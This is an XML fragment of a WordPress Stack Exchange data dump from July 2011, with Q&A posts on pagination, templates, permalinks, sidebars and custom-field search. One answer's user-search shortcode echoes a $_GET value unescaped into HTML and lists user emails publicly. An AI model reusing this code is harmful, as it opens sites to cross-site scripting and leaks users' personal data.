  <row Id="23297" PostTypeId="1" CreationDate="2011-07-18T07:32:41.987" Score="0" ViewCount="28" Body="&lt;p&gt;&lt;a href=&quot;http://localhost/artists/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/artists/&lt;/a&gt; is the link for my custom post type &lt;code&gt;artists&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone here who could help me with what I'm doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to make the alphabetical pagination...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example link, &lt;a href=&quot;http://localhost/lyrics-notes/artists/letter/a/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/lyrics-notes/artists/letter/a/&lt;/a&gt; would display all artist names beginning &lt;code&gt;letter A&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another, &lt;a href=&quot;http://localhost/lyrics-notes/artists/letter/a/page/3/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/lyrics-notes/artists/letter/a/page/3/&lt;/a&gt; would display page 3 of &lt;code&gt;letter A&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-07-18T07:32:41.987" Title="custom post type alphabet pagination and page count" Tags="&lt;pagination&gt;" CommentCount="1" />
  <row Id="23298" PostTypeId="2" ParentId="23292" CreationDate="2011-07-18T07:56:06.500" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure if this is what you are looking for maybe you can try this plugin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/quick-pagepost-redirect-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/quick-pagepost-redirect-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7109" LastActivityDate="2011-07-18T07:56:06.500" />
  <row Id="23299" PostTypeId="2" ParentId="23291" CreationDate="2011-07-18T08:03:30.430" Score="1" ViewCount="" Body="&lt;p&gt;What you want is quite possible, but not exactly mainstream technique. Take a look at my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11231/implementing-advanced-add-function-wrappers&quot;&gt;Implementing advanced add_* function wrappers&lt;/a&gt; question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However your real issue here is not being unable to pass arguments. It is lack of context. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The simplest way to track context is inside your hooked function (check what page you are at, do something accordingly).&lt;/li&gt;&#xA;&lt;li&gt;Slightly more complex is adding your own dynamic hook (&lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;Post Status Transirions&lt;/a&gt; are great example).&lt;/li&gt;&#xA;&lt;li&gt;Even more complex is &lt;a href=&quot;http://ptahdunbar.com/wordpress/smarter-hooks-contextual-hooks/&quot; rel=&quot;nofollow&quot;&gt;contextual hook&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-18T08:03:30.430" />
  <row Id="23300" PostTypeId="2" ParentId="23272" CreationDate="2011-07-18T08:11:20.830" Score="0" ViewCount="" Body="&lt;p&gt;Dealing with terms is known to be very heavy operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The common tweak recommended is to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_defer_term_counting&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_defer_term_counting()&lt;/code&gt;&lt;/a&gt; to temporarily disable updating of terms count (which is stored persistently in database and so must be updated when you change terms).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-18T08:11:20.830" CommentCount="2" />
  <row Id="23301" PostTypeId="2" ParentId="23286" CreationDate="2011-07-18T08:19:00.163" Score="1" ViewCount="" Body="&lt;p&gt;Look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box&lt;/a&gt; in the function reference. You can add a meta box in there, and within it add a number of input elements for your fields. You can also add multiple meta boxes if they're unrelated elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to look through the eStore theme, you're probably looking for &lt;code&gt;add_action('add_meta_boxes',...)&lt;/code&gt; (if it's WordPress 3.0 or after), or &lt;code&gt;add_action('admin_init',...)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="798" LastActivityDate="2011-07-18T08:19:00.163" />
  <row Id="23302" PostTypeId="1" CreationDate="2011-07-18T08:20:50.693" Score="1" ViewCount="41" Body="&lt;p&gt;I am a beginner to starting a Wordpress template from scratch, so I am open to any helpful links or help that can be given to me :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What would this file be called front-page or home.php?&lt;/li&gt;&#xA;&lt;li&gt;How could I make it so that both quotes are edited via the specific set page in the admin area?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have the following HTML Code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &#xA;     &#xA;         &#xA;             &#xA;             &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;quote&quot;&amp;gt; &#xA;            &amp;lt;h4&amp;gt;&quot;If you've got the right lawyer with you, we've got the best justice system in the world&quot;&amp;lt;/h4&amp;gt; &#xA;            &amp;lt;h4 id=&quot;author&quot;&amp;gt;Robert Trott - Justice&amp;lt;/h4&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- end of header --&amp;gt; &#xA;&#xA;    &amp;lt;div id=&quot;nav&quot;&amp;gt; &#xA;        &amp;lt;div class=&quot;grid_4_home hoverable&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;index.html&quot;&amp;gt;&amp;lt;h3&amp;gt;Home &amp;lt;span class=&quot;lucida&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;&#xA;        &amp;lt;div class=&quot;grid_4 hoverable&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;expertise.html&quot;&amp;gt;&amp;lt;h3&amp;gt;My Expertise &amp;lt;span class=&quot;lucida&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;&#xA;        &amp;lt;div class=&quot;grid_4_about hoverable&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;about.html&quot;&amp;gt;&amp;lt;h3&amp;gt;About Us &amp;lt;span class=&quot;lucida&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;&#xA;        &amp;lt;div class=&quot;grid_4 hoverable&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;testimonials.html&quot;&amp;gt;&amp;lt;h3&amp;gt;Testimonials &amp;lt;span class=&quot;lucida&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;&#xA;        &amp;lt;div class=&quot;grid_4 hoverable&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;reports.html&quot;&amp;gt;&amp;lt;h3&amp;gt;Case Reports &amp;lt;span class=&quot;lucida&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;&#xA;        &amp;lt;div class=&quot;grid_4_last hoverable&quot;&amp;gt; &#xA;            &amp;lt;a href=&quot;contact.html&quot;&amp;gt;&amp;lt;h3&amp;gt;Contact Us &amp;lt;span class=&quot;lucida&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- end of nav --&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end of wrap --&amp;gt; &#xA;&#xA;&amp;lt;div class=&quot;wrap IE7_fix&quot;&amp;gt; &#xA;    &amp;lt;div id=&quot;index_content&quot; class=&quot;index&quot;&amp;gt; &#xA;        &amp;lt;div class=&quot;indexText&quot;&amp;gt; &#xA;                &amp;lt;h4&amp;gt;&quot;I specialise in criminal defence and have done so for over ten years.  I have experience in all levels of criminal law from traffic law and minor offences to serious offences involving drugs, sexual violation, serious assaults or murder.&amp;lt;/h4&amp;gt;&amp;lt;br /&amp;gt; &#xA;                &amp;lt;h4&amp;gt;I will listen to you and give you honest and confidential representation.&quot;&amp;lt;/h4&amp;gt; &#xA;        &amp;lt;/div&amp;gt; &#xA;&#xA;        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;    &amp;lt;div id=&quot;footer&quot;&amp;gt;&amp;lt;small&amp;gt;Copyright &amp;amp;copy; 2011 John Munro&amp;lt;/small&amp;gt;&amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end of wrap --&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;  &lt;/p&gt;&#xA;" OwnerUserId="6740" LastActivityDate="2011-08-17T14:25:57.590" Title="Theme Development -&gt; Specific Homepage" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;homepage&gt;&lt;frontpage&gt;" AnswerCount="1" />
  <row Id="23303" PostTypeId="2" ParentId="23275" CreationDate="2011-07-18T08:21:43.067" Score="2" ViewCount="" Body="&lt;p&gt;If you're using the same database, then the hack code is sometimes stored in there. The &lt;a href=&quot;http://www.google.co.uk/url?sa=t&amp;amp;source=web&amp;amp;cd=1&amp;amp;ved=0CBoQFjAA&amp;amp;url=http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php&amp;amp;rct=j&amp;amp;q=wordpress%20pharma%20hack&quot; rel=&quot;nofollow&quot;&gt;pharma&lt;/a&gt; hack uses this technique. Ensure that you have a clean database that you're installing into also.&lt;/p&gt;&#xA;" OwnerUserId="798" LastActivityDate="2011-07-18T08:21:43.067" CommentCount="1" />
  <row Id="23304" PostTypeId="1" CreationDate="2011-07-18T08:43:44.077" Score="0" ViewCount="16" Body="&lt;p&gt;I have a &lt;code&gt;Wordpress&lt;/code&gt; blog on Windows machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change my blog links like this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sonergonul.net/post_id&quot; rel=&quot;nofollow&quot;&gt;http://sonergonul.net/post_id&lt;/a&gt; but it doesn't work. (Only works with like &lt;a href=&quot;http://sonergonul.net/?p=7&quot; rel=&quot;nofollow&quot;&gt;http://sonergonul.net/?p=7&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/OrdjZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched this situation on the internet, people say; the reason is you using on Windows Server, &lt;a href=&quot;http://sonergonul.net/post_id&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; works only Linux Server. Is this true? Is there any way using like this on Windows machine ?&lt;/p&gt;&#xA;" OwnerUserId="3935" LastEditorUserId="4587" LastEditorDisplayName="" LastEditDate="2011-07-18T09:42:57.607" LastActivityDate="2011-07-18T09:42:57.607" Title="Wordpress URL Routing in Windows Machine" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;windows&gt;" CommentCount="1" />
  <row Id="23305" PostTypeId="2" ParentId="7584" CreationDate="2011-07-18T08:50:11.097" Score="1" ViewCount="" Body="&lt;p&gt;if you like a simple solution, you can use Wordpress Frontpage Banner plugin, it shows a banner or article only on frontpage&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-frontpagebanner/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-frontpagebanner/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7110" LastActivityDate="2011-07-18T08:50:11.097" />
  <row Id="23306" PostTypeId="1" AcceptedAnswerId="23398" CreationDate="2011-07-18T08:52:07.927" Score="1" ViewCount="107" Body="&lt;p&gt;I would like to show a plugin in a specific page's sidebar only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Example:&lt;/strong&gt; &#xA;I have the pages like ..&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;home&lt;/li&gt;&#xA;&lt;li&gt;about us&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;sub page 1&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;sub page 2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;sub page 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;sub page 4&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPdate:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to show, &lt;strong&gt;plugin 1&lt;/strong&gt; in &lt;strong&gt;sub page 1&lt;/strong&gt; and &lt;strong&gt;sub page 4 only&lt;/strong&gt; and not to all other pages.i tried &lt;code&gt;is_page('sub page 1','sub page 4')&lt;/code&gt; but not working :(.please help me.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-19T06:01:32.883" LastActivityDate="2011-07-20T21:48:31.707" Title="How to show my sidebar in specific page only?" Tags="&lt;plugins&gt;&lt;sidebar&gt;&lt;conditional-content&gt;" AnswerCount="3" />
  <row Id="23307" PostTypeId="2" ParentId="23306" CreationDate="2011-07-18T09:24:11.743" Score="2" ViewCount="" Body="&lt;p&gt;You may try &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot; title=&quot;Widget Logic&quot;&gt;Widget Logic&lt;/a&gt; plugin. It let you define via a simple expression like &lt;code&gt;is_page&lt;/code&gt; or &lt;code&gt;is_single&lt;/code&gt;, if the widget has to be shown.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-07-18T09:24:11.743" CommentCount="3" />
  <row Id="23308" PostTypeId="2" ParentId="23282" CreationDate="2011-07-18T09:30:50.123" Score="0" ViewCount="" Body="&lt;p&gt;I just had a project where i needed to create a search by user meta form and i ended up creating a shortcode for it, i just altered it a bit to show you how to make it work with your fields, so just paste this code inside your theme's functions.php file or a plugin file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('user_search','My_User_search');&#xA;function My_User_search($atts = null){&#xA;    $out = user_search_form();&#xA;    if (isset($_GET['user_search']) &amp;amp;&amp;amp; $_GET['user_search'] == &quot;search_users&quot; &amp;amp;&amp;amp; isset($_GET['search_by'])){&#xA;        global $wpdb;&#xA;        $metakey = $_GET['search_by'];&#xA;        $args = array('meta_key' =&amp;gt; $metakey);&#xA;         if (isset($_GET['s_value'])){&#xA;            $metavalue = $_GET['s_value'];&#xA;            $args['meta_value'] = $metavalue;&#xA;         }&#xA;&#xA;&#xA;        $search_users = get_users($args);&#xA;        $out .= '&amp;lt;div class=&quot;user_search_results&quot;&amp;gt;';&#xA;        if (count($search_users) &amp;gt;0){&#xA;&#xA;            // here we loop over the users found and return whatever you want eg:&#xA;            $out .= '&amp;lt;ul&amp;gt;';&#xA;            foreach ($search_users as $user) {&#xA;                $out .= '&amp;lt;li&amp;gt;' . $user-&amp;gt;user_email . '&amp;lt;/li&amp;gt;';&#xA;            }&#xA;            $out .= '&amp;lt;/ul&amp;gt;';&#xA;        }else{&#xA;            $out .= 'No users found, try searching for something else.';&#xA;        }&#xA;        $out .= '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    return $out;&#xA;}&#xA;&#xA;//function to display user search form&#xA;function user_search_form(){&#xA;    $metavalue = $metakey = '';&#xA;    if (isset($_GET['search_by'])){&#xA;        $metakey = $_GET['search_by'];&#xA;    }&#xA;    if (isset($_GET['s_value'])){&#xA;        $metavalue = $_GET['s_value'];&#xA;    }&#xA;    $re = '&amp;lt;div class=&quot;user_search&quot;&amp;gt;&amp;lt;form action=&quot;&quot; name=&quot;user_s&quot; method=&quot;get&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;search_by&quot;&amp;gt;Search by:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select id=&quot;search_by&quot; name=&quot;search_by&quot;&amp;gt;';&#xA;    if ($metakey != ''){&#xA;        $re.= '&quot;';&#xA;        $re.= ($metakey == &quot;nickname&quot;) ? '&amp;lt;option value=&quot;nickname&quot; selected=&quot;selected&quot;&amp;gt;Name&amp;lt;/option&amp;gt;': '&amp;lt;option value=&quot;nickname&quot;&amp;gt;Name&amp;lt;/option&amp;gt;';&#xA;        $re.= ($metakey == &quot;areacode&quot;) ? '&amp;lt;option value=&quot;areacode&quot; selected=&quot;selected&quot;&amp;gt;area code&amp;lt;/option&amp;gt;': '&amp;lt;option value=&quot;areacode&quot;&amp;gt;area code&amp;lt;/option&amp;gt;';&#xA;        $re.= ($metakey == &quot;company&quot;) ? '&amp;lt;option value=&quot;company&quot; selected=&quot;selected&quot;&amp;gt;company&amp;lt;/option&amp;gt;': '&amp;lt;option value=&quot;company&quot;&amp;gt;area code&amp;lt;/option&amp;gt;';&#xA;        $re.= ($metakey == &quot;affiliate&quot;) ? '&amp;lt;option value=&quot;affiliate&quot; selected=&quot;selected&quot;&amp;gt;affiliate&amp;lt;/option&amp;gt;': '&amp;lt;option value=&quot;affiliate&quot;&amp;gt;area code&amp;lt;/option&amp;gt;';&#xA;    }else{&#xA;        $re .= '&#xA;            &amp;lt;option value=&quot;nickname&quot;&amp;gt;Name&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;areacode&quot;&amp;gt;area code&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;company&quot;&amp;gt;company&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;affiliate&quot;&amp;gt;affiliate&amp;lt;/option&amp;gt;';&#xA;    }&#xA;    $re .= '&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;label for=&quot;s_value&quot;&amp;gt;Value:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input id=&quot;s_value&quot; name=&quot;s_value&quot; type=&quot;text&quot; value=&quot;'.$metavalue.'&quot;/&amp;gt;&#xA;            &amp;lt;input name=&quot;user_search&quot; id=&quot;user_search&quot; type=&quot;hidden&quot; value=&quot;search_users&quot;/&amp;gt;&#xA;            &amp;lt;input id=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    return $re;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;simply create a page or a post and enter &lt;code&gt;[user_search]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-18T09:30:50.123" CommentCount="2" />
  <row Id="23309" PostTypeId="1" AcceptedAnswerId="23357" CreationDate="2011-07-18T10:00:09.180" Score="0" ViewCount="52" Body="&lt;p&gt;I have a query like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        &amp;lt;?php $temp_query = $wp_query; ?&amp;gt;&#xA;                    &amp;lt;?php foreach(get_the_category() as $category) {&#xA;                        $cat = $category-&amp;gt;cat_ID; }&#xA;                        query_posts('orderby=date&amp;amp;cat=' . $cat . '&amp;amp;order=desc&amp;amp;posts_per_page=-1'); &#xA;                    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It grabs all the posts from the current category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i then do with this information is create a list of all the thumbnails associated with those posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i would like to do is highlight in some way, the current post. (through a class or something), something that is obviously done automatically normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="4181" LastActivityDate="2011-07-18T19:42:21.930" Title="Add class to current post in query_post" Tags="&lt;categories&gt;&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="23310" PostTypeId="1" CreationDate="2011-07-18T10:35:22.353" Score="0" ViewCount="18" Body="&lt;p&gt;I have 3 sections to a website, each it's own page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A page for the company and one each for the two founders. Each of the founders would like their page to be under their own domain, but still be able to update from the main Wordpress site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I am using iframes for their pages, but obviously this is not a great way of doing it. Can I set a custom URL for specific pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6318" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-07-18T11:07:07.050" LastActivityDate="2011-07-18T11:07:07.050" Title="Separate URL for a specific page" Tags="&lt;pages&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="23311" PostTypeId="2" ParentId="23310" CreationDate="2011-07-18T10:42:24.007" Score="1" ViewCount="" Body="&lt;p&gt;Uhm, nice question. Some hacking is required.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use pretty-permalinks on company site&lt;/li&gt;&#xA;&lt;li&gt;On the domain of the founder, do a URL-rewrite from &lt;a href=&quot;http://www.founder-domain1.com&quot; rel=&quot;nofollow&quot;&gt;http://www.founder-domain1.com&lt;/a&gt; to &lt;a href=&quot;http://www.companysite.com/page-founder1&quot; rel=&quot;nofollow&quot;&gt;http://www.companysite.com/page-founder1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;On the company site, use a custom menu with a custom URL: Founder Page -&gt; &lt;a href=&quot;http://www.founder-domain1.com&quot; rel=&quot;nofollow&quot;&gt;http://www.founder-domain1.com&lt;/a&gt;. (If you cannot use a custom menu, create a link in your template)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course, page-founder1 is the slug for the founder1 page that is edited via Wordpress.&#xA;Substitute the domains as your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware that you ARE depending on the slugs of the pages of the founders. If you change the slug, you must change the URL rewrite on the founders site.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-07-18T10:42:24.007" CommentCount="1" />
  <row Id="23312" PostTypeId="1" AcceptedAnswerId="23313" CreationDate="2011-07-18T11:19:55.070" Score="1" ViewCount="47" Body="&lt;p&gt;Is it possible to search in custom post type meta fields? I have posts, with many custom meta fields. Wordpress by default search only in title and in content. How can I change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you didn't understand what I am saying, please take a look at my &lt;a href=&quot;http://dl.dropbox.com/u/8228019/wp-search.PNG&quot; rel=&quot;nofollow&quot;&gt;screenshot&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2011-07-18T11:45:17.720" Title="Custom post type admin search" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="23313" PostTypeId="2" ParentId="23312" CreationDate="2011-07-18T11:45:17.720" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at my answer to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16637/how-to-filter-post-listing-in-wp-dashboard-posts-listing-using-a-custom-field/16641#16641&quot;&gt;&lt;strong&gt;how to filter post listing (in WP dashboard posts listing) using a custom field (search &#xA;functionality) ?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its just what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-18T11:45:17.720" CommentCount="2" />
  <row Id="23314" PostTypeId="2" ParentId="23302" CreationDate="2011-07-18T11:51:23.740" Score="1" ViewCount="" Body="&lt;p&gt;First, you need to use the &lt;code&gt;front-page.php&lt;/code&gt; template file. In WordPress parlance, &lt;strong&gt;Home&lt;/strong&gt; refers to the &lt;strong&gt;Blog Posts Index&lt;/strong&gt;, whether on the site front page or another static Page, and &lt;strong&gt;Front Page&lt;/strong&gt; refers to the &lt;strong&gt;Site Front Page&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you have several options for exposing a UI to manage your front-page quotes (in order of preference):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make the Front Page a dynamic sidebar, with two Text Widgets, and a Menu Widget.&lt;/li&gt;&#xA;&lt;li&gt;Create Theme Options for the two quotes&lt;/li&gt;&#xA;&lt;li&gt;Add the quotes as custom post meta data to the static Page used as the Front Page&lt;/li&gt;&#xA;&lt;li&gt;Make the quotes Custom Post Types, and pull them into &lt;code&gt;front-page.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T11:51:23.740" />
  <row Id="23315" PostTypeId="1" AcceptedAnswerId="23319" CreationDate="2011-07-18T12:08:05.883" Score="2" ViewCount="19" Body="&lt;p&gt;Just looking for some advice on something that is bugging me. Please bear in mind I am a PHP noob :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am passing a variable in the url to my WP index page like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url');?&amp;gt;/?do=thing&quot;&amp;gt;Thing&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am the catching that variable, and using it to show content like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $do_that = $_GET[&quot;do&quot;]; if($do_that == 'thing') : ?&amp;gt; etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Naturally I am getting debug errors when the variable is not passed :-)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Undefined index: do&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is what am I missing wrong? Obvious I spose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is this bad practice?&lt;/p&gt;&#xA;" OwnerUserId="6068" LastActivityDate="2011-07-18T12:21:52.053" Title="Using a _GET gives me a debug error (over my head)" Tags="&lt;themes&gt;&lt;urls&gt;&lt;debug&gt;" AnswerCount="1" />
  <row Id="23316" PostTypeId="1" CreationDate="2011-07-18T12:11:29.410" Score="0" ViewCount="30" Body="&lt;p&gt;Hi I'm using magic fields plugin. Great plugin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But their audio player is not visually pleasing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to a different plugin to play audio(mp3) files with that plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;right now to insert the player in a post it uses: &lt;code&gt;&amp;lt;?php echo get_audioplayer('file name') ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the file is stored in the database as &lt;code&gt;http://www.mysite.com/filename.mp3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But most plugins require a shortcode to display an mp3 player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO I thought the easiest way was to edit the way magic fields names the player such as add &lt;code&gt;[shortcode_tag filename.mp3]&lt;/code&gt; instead of  &lt;code&gt;http://www.mysite.com/filename.mp3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I don't know how to accomplish that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-18T17:01:31.363" LastActivityDate="2011-07-18T17:01:31.363" Title="How can I replace, magic fields, audio player with another player in wordpress" Tags="&lt;plugins&gt;&lt;shortcode&gt;&lt;audio&gt;&lt;plugin-magic-fields&gt;" />
